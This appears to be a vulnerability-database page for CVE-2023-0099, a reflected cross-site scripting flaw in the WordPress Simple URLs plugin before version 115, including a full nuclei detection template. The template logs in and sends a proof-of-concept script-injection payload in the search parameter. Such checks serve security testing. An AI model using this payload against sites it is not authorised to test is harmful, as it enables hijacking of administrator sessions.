CVE-2023-0099· getlasso / simple urls· CWE-79
Simple URLs < 115 - Cross Site Scripting
mediumseverity
6.1CVSS score
1.7%likelihood of exploitation, next 30 days
78%of all CVEs are less likely
Readycheck to confirm it
The plugin does not sanitise and escape some parameters before outputting them back in some pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
Impact
Successful exploitation of this vulnerability can lead to session hijacking, defacement of websites, theft of sensitive information, and potential remote code execution.
Fix
Fixed in version 115
How to confirm it
Send: POST /wp-login.php ; GET /wp-content/plugins/simple-urls/admin/assets/js/import-js.php?search=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E
Positive when: status_code_2 == 200 and contains(body, "</script><svg/onload=alert(document.domain)>") and contains(body_2, "search_term")Run it with nuclei: nuclei -id CVE-2023-0099 -u <target>
The full check
id: CVE-2023-0099
info:
name: Simple URLs < 115 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
The plugin does not sanitise and escape some parameters before outputting them back in some pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
impact: |
Successful exploitation of this vulnerability can lead to session hijacking, defacement of websites, theft of sensitive information, and potential remote code execution.
remediation: Fixed in version 115
reference:
- https://wpscan.com/vulnerability/fd50f2d6-e420-4220-b485-73f33227e8f8
- https://wordpress.org/plugins/simple-urls/
- https://nvd.nist.gov/vuln/detail/CVE-2023-0099
- http://packetstormsecurity.com/files/176983/WordPress-Simple-URLs-Cross-Site-Scripting.html
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-0099
cwe-id: CWE-79
epss-score: 0.0174
epss-percentile: 0.77927
cpe: cpe:2.3:a:getlasso:simple_urls:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: getlasso
product: simple_urls
framework: wordpress
tags: wpscan,packetstorm,cve,cve2023,xss,simple-urls,authenticated,wordpress,wp,wp-plugin,getlasso,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-content/plugins/simple-urls/admin/assets/js/import-js.php?search=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body, "</script><svg/onload=alert(document.domain)>")'
- 'contains(body_2, "search_term")'
condition: andReferences
- https://wpscan.com/vulnerability/fd50f2d6-e420-4220-b485-73f33227e8f8
- https://wordpress.org/plugins/simple-urls/
- https://nvd.nist.gov/vuln/detail/CVE-2023-0099
- http://packetstormsecurity.com/files/176983/WordPress-Simple-URLs-Cross-Site-Scripting.html
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from